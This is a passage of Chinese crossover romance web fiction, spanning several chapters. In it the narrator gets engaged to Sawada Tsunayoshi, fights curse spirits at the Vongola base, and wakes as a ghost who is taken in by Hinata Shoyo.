彭格列基地内几乎变成一片洁白,目之所及都被洋桔梗雪白的花瓣所覆盖,我踏出的步伐一顿,还以为一夜之间西西里进入了冬季。
身旁难得喜于形色的玛莲娜终于不再身体力行严苛的淑女准则,望着我的目光喜悦又期待。
“大小姐,我们该过去了。”
我望着另一头被部下围在中间的沢田先生,带着蕾丝手套的手指轻轻抚上心口,微微侧头透过玛莲娜的眼睛能看到我头戴白纱的身影,再多的就看不清了。
眼眶也有些奇怪的发热。
从今晨开始我心头就萦绕着不安,似乎有什么事情要发生了。
玛莲娜催促着我朝布置好的礼堂走去。
我犹豫着迈开步伐,脚下踩着花瓣发出闷闷的声响,如同我此时犹豫不决的心情。
我悄悄扭头询问玛莲娜:“我感觉有点不舒服,或许……我们可以改一下订婚日期?”
话音落下我的脸立即被马莲娜捧住,她满脸关切,说出的话却不容拒绝:“我的孩子,每个人都有这一天。”
她轻抚我的鬓角,试图缓解我紧绷的情绪。
“你看大家都在期待着你。”
我从她的脸上转移到不远处总是回头看我的沢田先生身上,他今天同样特意装扮过,棕色柔软的发丝被发胶梳到脑后,完整的露出俊秀的眉眼,看过来的眼神总是带着安抚的笑意。
他也注意到了我的不安。
好吧。
我露出轻松的表情和玛莲娜说:“在这里应该不会出什么岔子对吧?”
她笃定的点头。
然后我抛掉心头的疑虑,投入这场被太多人注视着的订婚仪式当中。
我被玛莲娜牵着象征着纯洁的花路中走向尽头的男人,他那样认真的注视着我,让我的步伐似乎有些微的紊乱。
我的心跳更快了,这次是因为尴尬。
他在路程过半时大步向我迎来,从浅笑着的玛莲娜手中牵过我,干燥的暖意透过薄薄的蕾丝面料清晰地传递过来,周围似乎响起了欢呼声,我不太确定。
因为我只是注视着他的侧脸,分不出别的注意力在他们身上。
悠扬的琴音在漫天的花瓣雨中荡漾,从他走过来开始这场订婚典礼开始充斥着一种令人目眩的氛围。
他在神父的主持下为我戴上戒指,以及一枚雕刻着彭格列纹样的金币,我茫然的拿着精美的金币。
周围隐隐响起吸气的声音。
虽然这么想有些不合时宜,我不清楚这枚金币是否有特殊的含义,为什么会让他们这么惊讶,以及……我的眼睛又开始发热了——并不是热泪盈眶。
我们共同许下誓言,柠檬枝幼嫩的枝条在欢笑中微微摇晃。
“……请各位一同享用午餐,一同度过美好的时光。”
我恍惚间听到这句象征着仪式结束的话,齐聚于我们身上的目光终于挪开了大半,我忍不住用力握了握与沢田先生交握的手。
他立即切断与他人的寒暄低头关切的朝我看来。
“累了吗?”
我摇摇头,脸上还带着未散去的笑容,这让我双颊有点酸,扯着他的衣袖踮起脚尖凑近他的耳朵。
他顺势扶着我的腰,将大部分力量支撑在自己身上,侧耳倾听。
在这样的日子,我不想让人觉得我太无知,攀着他的肩膀小声说:“这个金币,我看他们都很关注,有什么含义?”
原本端着酒想要过来说话的客人看新出炉的未婚夫妻如此亲昵的凑在一起,都笑着调转脚步,非常有眼色的给他们留出说悄悄话的空间。
我没注意到那个,只专注的看着沢田先生有些讶然的表情。
他很快收敛了表情,带着我向为我们准备的餐桌走去:“那是西西里的习俗。”
我放在他臂弯上的手略微收紧,还没想到怎么糊弄过去身为本地人却不清楚订婚习俗这回事,他轻描淡写的继续道:“代表我们之间的财富共享。”
“刚才的订婚协议你已经签署了。”
“……”
难怪刚才有人那么惊讶,现在轮到我了。
我震惊的看着他。
那双笃定的眼神给予了我答案。
我震惊,甚至感觉有些沉重,他可是彭格列的十代目,怎么……怎么能这么草率的就和我……
我想到原本以为只是流程的协议,连忙转头寻找,想要拿回来仔细看看。
刚才放着订婚协议的桌子已经空了,只剩下装饰用的洋桔梗在微风中摇晃,然后掉落的洁白花瓣落入地面的花瓣雨当中消失不见。
我连忙去看沢田先生,有些急切:“您不能这样做!”
我不确定会在这里呆多长时间,并不愿意也不想让沢田先生做出这样大的让步,索恩是我的重任,在离开之前我安排好一切。
他单手按住我的额头然后额头抵在手背上与我四目相对,眸中笑意暖暖却带着让我紧绷的意味。
他压低的声音带着磁性:“为什么不能这么做?”
“从今天以后彭格列和索恩将是牢不可破利益相交的盟友,这对所有人来说都不错,告诉我为什么,小一。”
我喉咙似乎有些发胀,在他的注视下有些难以张口。
我喜欢沢田先生。
呢喃细语在过于嘈杂的场地中轻飘飘的消失不见,但我知道他听见了。
那双离得极近的总是带着纵容弧度的棕眸弯起,带出眼角细微的纹路,愉悦的星光在他的眸中跳跃。
实在是很漂亮。
“非常好。”
他语气软了下来:“不过这个我早就知道了,说点我不知道的,我们来交换秘密好不好?”
在他的注视下我很想点头,但又无法在这时候编出毫无破绽的谎言来欺瞒他。
我有些慌张的握住他的手腕:“因为……”
他几不可查的低头再次拉进了所剩不多的距离。
沉默了一会儿,我的肩膀垮了下来,刚才生出的幸福感在内心的矛盾中消散,我有些难以遏制的痛苦。
心底浮现最不愿意的猜测。
沢田先生知道什么了。
虽然不太可能,但我还是忍不住的回忆我们之间的每一次交集,我是不是曾经露出过什么破绽。
他又是从什么时候开始怀疑我靠近他的目的,又是抱着什么样的心情来和我订婚的呢?
几乎是几个片刻脑海中不论怎样回忆都能觉出少许甜意的回忆变成涩嘴的柠檬皮。
只要一想到这些都是沢田先生为了让我放松警惕而做出的虚假的伪装,我的胃里忽然一阵阵紧缩。
我有点想吐。
我一点点垂下双眼切断对视,然后扭头避开他的手。
他和我离得太近了,我想要拉开距离的动作没能成功,反而被捏住了下巴。
我只好维持着这个姿势抿唇不语。
看到我们动作的宾客掀起一小片欢呼。
大概也没人能猜到刚订婚的两人之间的氛围沉凝厚重,欢愉的情绪化作泡沫从我们的指尖溜走,我视线游移着等待着他的审判。
期间我莫名响起偶然出现的五条先生他们,这下我能确定他们一定是找错人了。
像我这种什么事都做不好的笨蛋,怎么可能被这么多人喜欢?
第125章
沢田纲吉眼中闪过一丝懊恼。
他手指有些慌乱的托住她低垂的脸,拇指擦过通红的下眼睑,忍不住叹息着妥协:“抱歉,是我太想知道了。”
“是……我在嫉妒。”
我垂下的眼睛终于抬了起来,神情茫然:“嫉妒?”
沢田纲吉看着她明晃晃写着沢田先生也会嫉妒吗的脸,脸上的无奈更深了一层,低声道:“对喜欢的人产生独占欲是很正常的事。”
“很高兴在你心里我这么厉害。”
我更不解了。
“但是我喜欢的是沢田先生……”
他为什么会嫉妒呢?
我眼前忽然一黑,隔着沢田先生的手掌,我听到他的声音里带着些迟疑。
“也许你没有发现, 在我们聊天的时候你偶尔会停下来微微偏头,脸上会不自觉露出很可爱的微笑。”
我:“……有吗?”
他点了点我的嘴唇,按着我的嘴角说:“听我说完。”
我双手放在膝盖上点点头。
沢田纲吉看着她乌黑的发顶,继续道:“一次两次我以为是我的错觉,随后之后出现的频率降低了,我猜与你交流的人换到了晚上?”
我默默挺直了脊背。
“你和感兴趣的人聊天喜欢看他的眼睛,开心的时候会微微偏头微笑, 抿唇微笑的弧度不会很大, 但你的眼睛会一起弯成可爱的形状,而在发现你能和看不见的人聊天之前。”
他顿了顿, 叹息道:“我以为这是属于我的特权。”
我扒着他的手欲言又止。
五条先生他们被发现了?
我和五条先生他们聊天的时候居然笑了?真的假的。
但我又不喜欢他们……
我按着胸口感受了一下刚才奇怪的跳动,迟疑地努力回想,在没有记忆的情况下会产生感情吗?
而且他们大概率是找错人了。
“我担心你被人用手段影响了, 但不擅长这方面的问题,所以拜托骸帮忙看看。”
我恍然:“原来是沢田先生让他来找我的!”
沢田纲吉一顿:“不,不是试衣间那次。不管是谁指使的,下次有人在你换衣服的时候再闯进来记得狠狠揍他。”
我:“……我知道了。”
沢田纲吉目光幽深:“那是骸刚回来的时候,我拜托他查看你身上是否有其他幻术师的标记,他却说已经见过你好几次了,在梦境世界里。”
我想起了那段时间睡梦中乱飞的记忆片段以及越来越近自带“kufufu”背景音的凤梨头。
竟然是六道骸。
沢田纲吉:“他从未见过像你一样混乱又空旷的梦境,无数记忆碎片伴随着浓烈的情感在空中乱飞,而你却能安然无恙的在这样的混乱中休憩。”
“这很不可思议。”
“他没在你的精神世界找到幻术师的痕迹,但你的记忆有问题,他在碎片中曾捕捉过一瞬……你曾经和别人相爱。”
我呆若木鸡的听着他的分析。
在心里狂戳系统来检测bug。
我:震惊*2
完全不知道是该先震惊我居然真的有通关被屏蔽的记忆,还是该震惊系统屏蔽的记忆居然在任务世界被人看出来了。
后背忽然被人揽住收紧。
我颈间突然多出一个脑袋,他的吐息喷洒在我的脖颈和耳根:“小一,不论那些人是谁,我想你都是爱我的是吗?”
本来我很确定,现在反而不太确定了沢田先生。
我迟疑的一瞬被他捕捉。
沢田纲吉松手蹲在我身前,朝我摊开手掌。
我缓缓把手指放上去。
他立即收紧手掌与我十指相扣,交握的手上银色的戒圈闪闪发光,他自下而上的看着我,眼尾似乎都因为失落而微微下垂。
“你迟疑了。”
“但是我们才在克里斯神父的主持下订婚。”
“原来你之前说的喜欢我都是骗人吗?”
我的良心正在该死的煎熬。
他低头吻了吻我手上的戒指:“没关系,既然已经忘记了就说明他们也没那么重要,最重要的是现在。”
我沉默的握紧他的手。
他说得对不管之前的任务怎么样,总之现在我……
巨大的爆炸声在不远处响起,地面都开始颤抖。
我和他对视一眼同时站了起来。
刚刚还艳阳高照的天空暗了下来。
我提着裙摆往外迈出一步仰头看去,倒吸一口凉气,声音有些干涩:“沢田先生,有好多咒灵。”
一眼望去乌压压的几乎将天空遮挡。
那次光是一个地下室的数量有沢田先生帮忙我也耗尽了力气,可和今天的数量比起来却也算不了什么了。
对了大家都看不到!
我额头冒汗的看向沢田先生:“沢田先生那上面……”
话音一顿。
我看见他脸上不知何时多出一副透明镜片,从左耳处延伸至双眼,镜片下的棕眸凌厉异常。
不仅仅是他,我环顾四周,发现所有人都装备上了这副眼镜。
沢田纲吉低头摸了摸她的头发。
“多亏了强尼二和小正,从第一次捕捉到,”他停顿了一下沿用我脱口而出的名字:“从第一次捕捉到咒灵开始,我们就开始研究能让大家都能看见的装备了。”
强尼二全副武装的坐在机甲中,抬头看着天空,声音沉重:“还真是千钧一发。”
“没想到这么快就用上了。”
他抬手按下一个红色的按钮。
空气中发出奇怪的嗡鸣。
一个巨大的保护罩升了起来,将整个彭格列基地以及那些直奔而来的咒灵全都笼罩在内。
我震惊地微微张唇。
不远处一道黑色的身影压低身形奔跑在屋脊,淡紫色的火焰在他手持的浮萍拐上燃烧,他身旁……竟然跟着一只刺猬? !
燃着淡紫色火焰的身影即将被铺天盖地的咒灵吞没。
我不自觉屏住了呼吸。
云雀恭弥镜片后的眼尾微挑,以一种突破极限的姿势定在原地,身体向后弯下不可思议的弧度,手中挥出的浮萍拐带着锁链荡开了一大片咒灵。
我紧张的心跳缓和下来,看着他难掩兴奋的背影默默扭头。
山本先生正在护着非战斗人员撤退,双腿微曲平地拔高接近十米的高度,喊着什么时雨苍燕流就斩了下来。
顺利清理出道路。
我眯了眯眼睛,握着剑柄的手微微收紧,喊招式名称会有伤害加成吗?
可恶,现在取名也太晚了。
晚点再去请教一下山本先生。
“ boom——”
“竟然敢破坏十代目的订婚,去死!”
我转头挡住飞溅的沙土,浓重的硝烟与尘土早已将狱寺先生的身影遮掩,蓝波和一平他们也默契的负责了一小块区域。
敌人出现到现在不超过十分钟,彭格列的大家所作出的应对比我想象中要好太多……不,是厉害很多倍才对。
我深吸一口气抬头与沢田先生四目相对,柔软的神情彻底消失在他的脸上。
没等我开口他就按着我的发顶郑重的说:“交给我们吧。”
我又一次目睹他燃起火焰的模样,摒弃杂念将所有精力集中在保护大家的目的上,此时沢田先生的状态是清冷又凌厉的。
我向后退开了点目送他离开,然后我也准备加入战场。
在这种情况下我怎么可能真的袖手旁观!
背后却忽然传来他压低的声音。
“等我回来再将答案说给我听吧。”
我再回头时他已不在原地。
我抿唇不语神色沉凝的朝最近的咒灵奔去,难以回答的问题暂时被抛在脑后,身体借用冲刺的惯性将细剑穿透咒灵。
咒灵死亡后消散的特性让我的脚步没有停滞。
目之所及的所有咒灵身上都闪烁着再明显不过的弱点。
我的动作越来越熟练,甚至在没有“看见”的情况下回手刺穿一只咒灵的身体,抽出细剑甩了甩上面的暗色粘液。
直到数量繁多的咒灵被清扫大半我的动作才慢了下来。
我站在原地看向逐渐暴露出来的天空,面容凝重,那是什么?
精心装点的订婚现场已经变成一片废墟,桌椅散乱杯盘狼藉,铺天盖地的洁白花瓣被凌乱的脚步践踏只留下一地花汁。
山本先生已经成功将非战斗人员送回避难所,我环顾了一圈空旷的场地,总觉得似乎忘了什么?
眼睛周围的热度已经到了滚烫的程度。
像是有人朝里面注入了滚烫的开水,或者是眼球里的内容物变成了烧红的烙铁,整只眼睛都在升腾着似有若无的水汽。
我按住一只眼睛漫无目的的目光四处寻索。
“ moximoxi~”
“咳咳,有人在吗?”
我听到有人用懒洋洋的嗓音这样说道。
过于滚烫的眼球给我一种马上要脱出眼眶的错觉,我听着脑海中的声音,依靠直觉找了个角落捂着眼睛蹲了下来。
我知道有什么不对了。
所有参与战斗的守护者当中唯独少了雾守。
“找到你了。”
一只手忽然拍了拍我的肩膀,有人躬身凑到我耳边兴致勃勃的说:“你混乱的精神世界现在像是被塞进了绞肉机一样可怕。”
我几不可查的回头,露在外面的一只眼睛颤抖着对上一只写着数字的猩红瞳孔,迟钝的说:“什么?”
六道骸兴奋地神情稍微收敛,他维持着附身看着坐在墙角的我的姿势:“不知道么,你的眼睛被人当成了坐标。”
“有东西要来了。”
我听了他的话又看了眼云层似乎都要崩塌下来天空一眼,蹙着眉把他落到我脸上的发尾扔开,转头重新背对着他,把额头用力按进膝盖希望能缓解双眸烧灼的感觉。
“不用你说我也知道。”
上面肯定还有东西。
六道骸跟着向上看了一眼:“我说的是别的东西。”可不是那种弱小的怪物。
我没理他,也没理会还在脑子里呼唤的声音。
我听到六道骸轻飘飘的说:“难道你不想找回失去的记忆么?”
第126章
直到那些低级咒灵渐渐消散,被遮挡的东西渐渐出现在众人面前。
那是一个棕褐色的椭圆形球体,球体内部浑浊的液体微微荡漾,几不可查的牵动着中央那团混乱的肉团。
在众人惊骇的目光中,它巍然不动的悬停在半空。
“不是错觉?”
有人小声呢喃。
我扶着墙壁行动迟缓的直起身,在无形的压迫感之下膝盖仿佛都在哀鸣着发出嘎吱嘎吱的声响。
“那是什么?”
我听到六道骸沉下来嗓音,没心情去嘲讽他罕见正经起来的语调,我光是维持着站姿就已经用尽了全力。
自从那只咒灵出现,原本滚烫的眼球变得更加灼热。
很痛。
当我用现在的双眼去看那只咒灵的时候, 大量杂乱的信息一股脑的涌入我的脑海。
大脑几乎被撑爆烧灼、过速运转几乎让颅内沸腾的痛楚,我“看到”六道骸脸上惊愕的神色。
“看到”我的身体如断电的机器人一样瘫倒在地,他将突然出现的三叉戟旋了一圈,对准我的脖子。
我混乱的大脑陡然清醒一瞬。
这家伙果然没安好心!
我徒劳的尝试着挪动身体。
好消息:我成功了。
坏消息:只有手指能蛄蛹。
脖颈传来刺痛,有温热的液体顺着我的脖子向下滴,耳边是六道骸愉悦的轻笑。
“kufufu。”
“那就让我来看看你的秘密。”
我:“!”
我恨不得用唯一能动的手指掐死趁人之危的变态!
我颤颤巍巍的抬起一只手,朝他靠近的脖颈探去,下一秒,我眼前一黑失去了意识。
说是失去意识其实并不准确。
我失去了让我痛苦的全知视角,眼前是一片黑暗,只有从脑海中传来的钝痛还证明着我的存在。
我睁大双眼在黑暗中四处查看。
起先这里什么都没有,只有黑暗中涌动着的浓重雾气。
不知过了多久, 我的视野当中出现了一小片光点, 不等我警觉或靠近,那片光点就以极快的速度朝我劈头盖脸的落下。
我反射性的想捂住脸, 却发现我没有手。
只能紧闭双眼任由那些星星一样的碎片砸在我脸上。
想象中的疼痛没有出现, 我缓缓睁开眼睛,那些数不尽的光点落在我身上,带来的融融暖意连灵魂都舒服得要融化了。
我注视着那些碎片,忽然那些亮晶晶的碎片动了起来,变成了一段段回忆。
其中有我认识的沢田先生也有几道身影让我觉得异常熟悉……
·
忽然脚踏实地的感觉让我踉跄了一下。
我想要扶着身旁的电线杆平衡一下,手指却穿透了电线杆,身体彻底失去平衡跌向一旁。
我瞪圆了眼睛看向我半透明质地的手指,最终选择安详地闭上眼睛。
我的人生已经快进到变成阿飘在死去的地方飘荡了吗? !
难不成狗系统终于出大问题,眼睁睁的看着我被六道骸弄死了?
“小姐?”
耳边传来青年带着迟疑的声音,如果我没听错的话,可能还有点颤抖。
我眨了眨眼睛。
“小姐,这么晚了一个人站在这里很危险,如果不介意的话我送你去前面吧。”
我终于从自己变成阿飘的震惊中脱离,放弃捣鼓死机的系统面板,抬头看向说话的人。
我保持着跌倒在地上的姿势,自下而上的看着蹲在我身旁的橘发青年片刻,陷入了诡异的沉默。
好眼熟。
我是不是在某些碎片里看见过他来着?
他身上穿着宽松的运动装,外套拉链拉到顶端,看着非常宽阔结实的肩膀衬得那张常年运动年轻光泽的脸更加帅气。
他歪了歪头,朝我伸出一只手,手腕上的护腕稍微露出袖口,眼尾上挑的双目担忧的看着我:“还是先起来吧。”
我维持着半躺在地上的姿势撑着地面向后退了几步,然后蹭的一下跳了起来,拒绝道:“不用了,谢谢。”
我承认他可能和我有关系,长得也很帅,但现在最重要的是找到回去的方法。
听到我的拒绝他明亮的橘色双眸黯淡下来。
我似乎看到他头顶毛绒绒的耳朵贴着头发垂了下来。
“好吧。”
他站直了身体,蜜色的肌肤在便利店橱窗的灯光下衬得那双眼睛愈发明亮,他眼巴巴的看着我似乎有些不舍的迈开步子。
“喂——翔阳,走了。”
我这才发现这条巷子的尽头还站着一位和他穿着同样外套的金发青年正懒洋洋的看着这边,我循着他的目光又看向被称作翔阳的青年身上,试探性的动了动脚步。
即便是几不可查的挪了点位置,橘发青年还是立即就看了过来,似乎一直在注意这边。
巷口的金发青年却没有分过来丝毫目光。
我转身看向便利店橱窗上的倒影,扯了扯身上乱糟糟的白色裙子,玻璃对面整理货架的店员也对正对着她的我没什么反应。
果然。
我扭头盯着走进便利店的橘发青年,抿了抿干涩的唇,只有他能看见我。
我蹲在原地撑着下巴数着路边小草的叶子,思索着回去的办法,一片灰色的系统面板在我怨念的眼神里闪了闪消失不见。
我戳着投诉按钮的手指落空碰到了什么温热的东西。
食指一顿。
蜜色的皮肤紧实q弹我下意识又戳了一下。
“咳。”
我看着眼前属于另一个人的小腿,默默把食指收进拳头里,有点尴尬的埋着头蹲在原地装死。
他站在我面前也没有出声,我似乎能嗅见被晚风从他身上带来的橘子香气。
“咕噜噜。”
我按着肚子,蹙了蹙眉。
“不会吧,变成阿飘了也会肚子饿吗?”
包装袋摩擦的声音与青年含笑的声音一同响起:“给,鲷鱼烧,要吃吗?”
我盯着伸到眼前的手看了一会儿,伸手碰了碰还散发着热气的鲷鱼烧,真实的触感让我松了口气。
“吃。”
我咬了一口,稍微滚烫的口感和红豆的甜意在舌尖蔓延,这次他问起要不要送我去外面打车的时候,我犹豫了一下点点头。
我咬着鲷鱼烧悄悄又碰了碰路过的橱窗,意料之中又一次穿了过去,我看着橘发青年的背影在心里给他打上好人的标签。
金发青年见他走过过来,从靠墙的姿势站了起来,随手抓了抓金色的短发,黑色的发根随着他的动作露出来了一些。
“好慢,一个人子在那磨磨蹭蹭什么呢?”
橘发青年闻言微微睁大眼睛看了我一眼,顿了一会儿,才缓慢回答:“鲷鱼烧,你要吃吗?”
宫侑挑眉看了他一眼,摆摆手:“你自己留着吧,阿治还等着我一起吃晚饭,要一起来吗?”
橘发青年摇头,有些抱歉:“我忽然有点事。”
宫侑看了眼手机,忽然想起什么,意味深长的说:“不会真的和他们说的那样,你背着我们偷偷恋爱了吧?”
“嘛,算了,总有一天我会弄清楚的,再见。”
“……啊,再见。”
金发青年走后我们两人之间也陷入了寂静。
我捏着吃完的包装纸,亦步亦步的跟在橘发青年身后,明明只是不放心打算将我送到人多地方打车的橘发青年也没有说话。
在吃完鲷鱼烧之后,我忽然意识到在系统面板恢复之前,眼前的青年是我和这个世界的唯一联系。
我不确定现在的状态会不会饿死,但为了以防万一,我要和他打好关系才行。
鼻尖忽然感受到一小片冰凉。
我抬头看向天空,停下了脚步。
“下雨了。”
不知是不是我的错觉,走在前面的青年在我出声的时候,背影似乎僵了僵。
我清了清嗓子,慎重地喊道:“翔阳君,为了感谢你的鲷鱼烧,我们来交换电话和地址吧!”
他站在那里没有动也没有回头。
我声音弱了下来:“那地址也行啊,我会报答你的。”
但是在离开之前请成为我的饭票吧拜托了!
他还是没有回头,支棱乱翘的橘色短发在细雨中塌了下来,看起来有点落魄。
我:“……不会才意识到我是阿飘吧。”
运动系三好青年晚上帮助倒在暗巷的独身少女结果却被少女化身的鬼缠上什么的……听起来确实有点倒霉。
好吧。
不知道从哪里涌出的无用的怜悯让我撇了撇嘴,转身走到旁边商店的屋檐下,用不情不愿的语气偏头朝他的方向挥挥手。
“我知道了,我就待在这里就好了,不会跟着你也不会去你家里的。”
我瞥了一眼橱窗里晕黄的灯光,很有心眼的在这时又提出一个小小的要求:“只要你每天给我买两个……一个肉包,我就保证不会随便靠近。”
我看了里面的肉包一眼又一眼,刚才吃下一个鲷鱼烧的胃好像又空了。
我把脸贴在橱窗,小心控制着力气没有穿过去,背对着我的饭票,忍着心痛让他离开。
“好。”
幻觉一样的声音在淅淅沥沥的雨幕中响起。
我确定不是幻听之后,双眸一亮,连忙转头:“那你一定不要忘了……”
啊,已经离开了。
走的还真快,不愧是运动系。
“时间这么晚了,还是找个地方休息一下明天再找回去的路好了。”
我左右看了看,视线落在旁边郁郁葱葱的公园,眼睛一亮。
下雨加上天黑了,公园里的玩乐设施黑沉沉空荡荡的,但那个垫着破旧衣服的蘑菇屋让我开心的钻了进去。
我抱着膝盖坐在屋子里,望着外面的雨幕,吸了吸鼻子,身旁挤挤挨挨趴着好几只漆黑的小狗。
小动物似乎对我有一点点感应,不仅不介意我挤进来,还全都贴了上来。
我戳着它们的脑袋,冰冷的身体似乎也温暖了起来。
过了一会儿我望着天空收敛了笑容。
“系统出了问题,也只有前辈会发现我联系不上了吧,前辈——什么时候能找到我啊。”
一道气喘吁吁的声音忽然出现在我头顶:“找到你了。”
第127章
我注视雨幕的眼睛动了动,慢吞吞的抬头,看着去而复返的橘发青年。
他将黑色的大伞撑在我们俩的上空,背对着灯光的脸上有晶莹的水珠顺着下颌角滑落,被雨水打湿的睫毛湿漉漉的垂落下来,也挡不住他漂亮的眼神。
那里面好像有一团火,或者是荡漾的星光,总之非常灼热的盯着我。
本来还在期待有人能来救救我,结果在这片刻的安静中, 我在他的目光中竟然有些无所适从。
手边温软的触感以及小狗嘤嘤的撒娇声让我回过神来。
我按住那只爬到我手边的小狗,忽然生出一种奇怪的责任感,想要说些什么让他悲伤的表情变得好看点。
我清了清嗓子:“你叫什么呀?”
他注视着我眼神中的星光好像消失了一瞬,等我再定睛看去的时候,他只是若无其事的笑着蹲下来,朝我伸出手。
“翔阳,日向翔阳。”
我抱着怀中两只滚来滚去的小狗艰难的伸出一只手,指尖试探性放在他的掌心,他的掌心带着雨滴的湿润和过于灼热的温度,迅速让我的指尖也暖和起来。
我抿唇微笑:“日向翔阳, 日向君你的名字好像有点熟悉。”
他也在笑, 爽朗的摸了摸我的头发。
“也许我们早就认识了也不一定。”
我点了点下巴, 思索了一下, 也许我们之间确实有某种联系。
“但是我应该没见过你才对,如果见过的话绝对不会没有印象。”
我笃定的话让他又笑了一声。
“那我该说一声谢谢吗”
我悄悄把冰冷的手指又往他的手心塞了塞,眯着眼睛:“不客气。”
他说还是不放心让我一个人在这样的天气独自待在外面, 所以邀请我去他家做客。
我矜持的思考了一秒钟答应了下来。
·
我捧着日向翔阳给我买的肉包,跟在他身后走进他家。
我站在玄关动了动鼻子,三两口把包子吃完,戳了戳背对着我蹲在地上找东西的日向翔阳:“好香,你很喜欢柑橘的味道吗?”
他伸长手臂在柜子深处熟练的摸索。
我看着他伸展开来有些僵硬的脊背,以及从外套领口露出的膏药贴布,稍微凑近嗅了嗅,果然有一股冲鼻的药味。
“你受伤了?”
“这是你的拖鞋,进来吧。”
我们的声音撞在一起。
他顿了一秒,眼神有些游移,起身穿上另一双拖鞋走了进去,若无其事的说:“还好,就是训练的时候不小心伤到了,最近注意一点就没事了。”
我盯着他通红的耳根若有所思的点点头。
想要穿上白色的毛绒猫咪拖鞋,结果赤裸的双足从鞋子里穿过踩在了地上。
我收回脚,无言的直起身:“差点忘了除非特殊情况我接触不到这些东西,你介不介意我就这样进来?”
他疑惑的看着我:“但给你的鲷鱼烧和肉包……”
“所以说特殊情况我觉得是你和我有接触的时候,我的身体才能接触到这些东西……等等,这么说起来。”
我像是和这个世界脱节或者接触不良的bug,而日向君就是我和这个世界之间的联系?
我眯着眼睛观察他的脸:“绝对有什么我没想起来的事情。”
日向翔阳走回来在我身前蹲下,拿起一只拖鞋递到我脚边,动作自然到让我不自觉抬脚,脚背被送进了暖融融的鞋子里。
我这才意识到发生了什么,惊愕的后退了一大步,伸手横亘在我们中间。
“等等等等!反正我应该也粘不到什么脏东西,不穿就好了,不用麻烦你这样做。”
他拿着另一只鞋子平静的看了我一眼:“但是你会冷。”
我后背抵在鞋柜上,被他担忧的眼神看得愣住,任由他上前轻轻抓着我的脚踝将另一只鞋套了上来。
我和脚上咧着嘴的两只白色猫咪沉默的对视了几秒。
双脚动了动,白色猫咪的眯眯眼也跟着晃了晃,硬生生让我觉出一丝丝嘲讽。
说起来姓日向的人,我好像真的认识一个,就是那三道忽然出现在我脑海中的声音中的一个,因为日常需要训练和比赛所以不经常出声。
但偶尔聊起来的时候,我才知道他每次都在。
日向翔阳往我手里塞了装满水果的小碗,然后转身朝房间走:“马上要睡了别吃太多,你先在沙发上休息一会儿,我整理一下客房。”
他没有给我反对的机会就已经进了房间。
我端着小碗端正的坐在沙发上,眼神四处观察了一遍,在门口的运动鞋以及墙上有关排球的海报和展示柜里的奖杯上稍微停留。
运动员这一点似乎也对上了。
不·会·吧!
我被系统bug扔到日向君所在的小世界,并且非常不巧的和他之间还有特殊的联系,再加上之前他们所透露的信息。
……我似乎真的来过这个世界。
脚步声从室内由远及近,日向翔阳朝我走来,他手里拿着一叠衣服递给我:“我放了水,去泡个澡吧,暂时没有你能穿的衣服,这是我没穿过的衬衫短裤。”
我接过衣服抱在怀里。
看着他有条不紊的接过我手里的水果碗,有些可爱厚度的浅色的唇不断张合,细心地给我讲解洗漱用品以及花洒的使用方法。
我从一开始的认真听讲,逐渐到双目无神。
我低头看了看身上的裙子,上面还有战斗后被划开的破口,洁白的面料上沾染着各种灰黑的痕迹,实在是说不出我不用洗澡的这句话。
好吧。
我伸手扯住他的衣角,往浴室的方向走:“我知道啦,总之先来帮帮忙,这么晚了你也需要早点休息了。”
他的声音顿住,跟着我来到浴室门前。
我感受到浴室里升腾的暖气,就算身后的青年磨磨蹭蹭的没在向前也没注意到,我随手把干净的衣物放进衣篓。
回头看了一眼虚虚抓住他的手,我一个人走进浴室里,打开花洒又依次碰了碰所有要用到的洗浴用品,才松开手转身关上门。
将面色凝重的日向翔阳关在门外。
我冲完澡躺进浴缸按着脑袋上的毛巾打了个哈欠。
手指捧着雪白的泡泡堆出一坨坨……小狗的形状思索。
如果日向翔阳就是日向先生的话,可他第一次见到我的时候神情很陌生,发生转变是他独自回家之后。
我们分开的这段时间发生了什么呢?
我被蒸腾得昏昏欲睡的脑袋很快就将这些抛在脑后,用仅剩的一丝神志从水里站起来,套上衣服迷迷糊糊贴着墙走进房间,噗通一声栽进床里。
日向翔阳坐在一片漆黑的房间里安静的看着窗外,桌上的屏幕还在循环播放今天特意拷贝回来的训练视频,写到一半的笔记被冷落在一边。
他摸着指尖冰凉的小圈,静静的思索他曾经失忆过的可能。
不,他确信自己没有失忆。
只不过是有一个本该存在的人被他弄丢了。
心里的某处空了一块,家里的一切都能让他隐隐作痛,所以他不顾母亲欲言又止的眼神独自搬了出来。
住在一起只会让他们更加担心。
日向翔阳离开家的时候除了和排球相关的物品就只带了这枚从抽屉深处找到的戒指。
这枚小巧的指环更坚定了他的想法。
但周围的一切都在理所当然的告诉他,那个人只是他的臆想,不可能有人曾经在他的心中留下这么深的痕迹却没有存在过的足迹。
他敬爱的父母不知道,他亲密的队友也没有丝毫印象。
手中的冰凉的素圈每每在夜深人静的时候被他不受控制的拿在手中,仿佛都在冷冰冰的嘲笑他的异想天开。
也许他真的病了。
上个星期他拜托信得过的教练帮忙预约了今天下训后的心理咨询。
他陡然收紧掌心,戒圈被紧紧刻进掌心。
他趴在桌子上在一片黑暗中,耳边只有胸腔中鼓噪的心跳。
是她。
她回来了。
他唇角遮掩不住笑意,如果他的……他再次摩挲过指环的内侧。
如果他的小一是这种特殊的状态没有人知道就说得通了。
他微微笑着想道。
既然人回来了,那曾经失去的东西也就没有那么急迫的需要去追寻了,毕竟他们从现在开始还有许多时间。
他重新精神奕奕的站直身体,在黑暗中舒展了一下修长的四肢,自言自语道:“怎么还没出来,不会睡着了吧。”
他不假思索的向浴室快步走去,眉头微皱,心里的担忧溢了出来,稍微冲淡了些许喜悦。
他来不及开灯。
刚往外走出两步,就被什么东西一头砸进了胸膛。
他闷哼一声,下意识护着忽然钻出来的人一同跌进床铺,还带着水汽的发丝散落在他的颈侧与脸颊,呼吸间都是少女发间的香气。
他胸膛起伏着深吸了几口气,又后知后觉的烧红了脸,察觉到颈间喷洒的均匀的呼吸,他顿时小心翼翼起来。
望着被窗外暗淡月光照亮一小片的天花板。
他喉结动了动,稍稍缓解其中酸涩的痛意,喊出第一次见到她时就猛然蹦出来的名字。
“小一?”
只是怕惊扰到什么的轻微气音,搭在颈侧的脑袋却忽然动了动。
一手护着她的腰,一手轻轻搭在她脑后,贪婪的享受着这个失而复得拥抱的日向翔阳身体僵住,有些慌张的想要起身。
眼前却被一团彻底的暗色所笼罩。
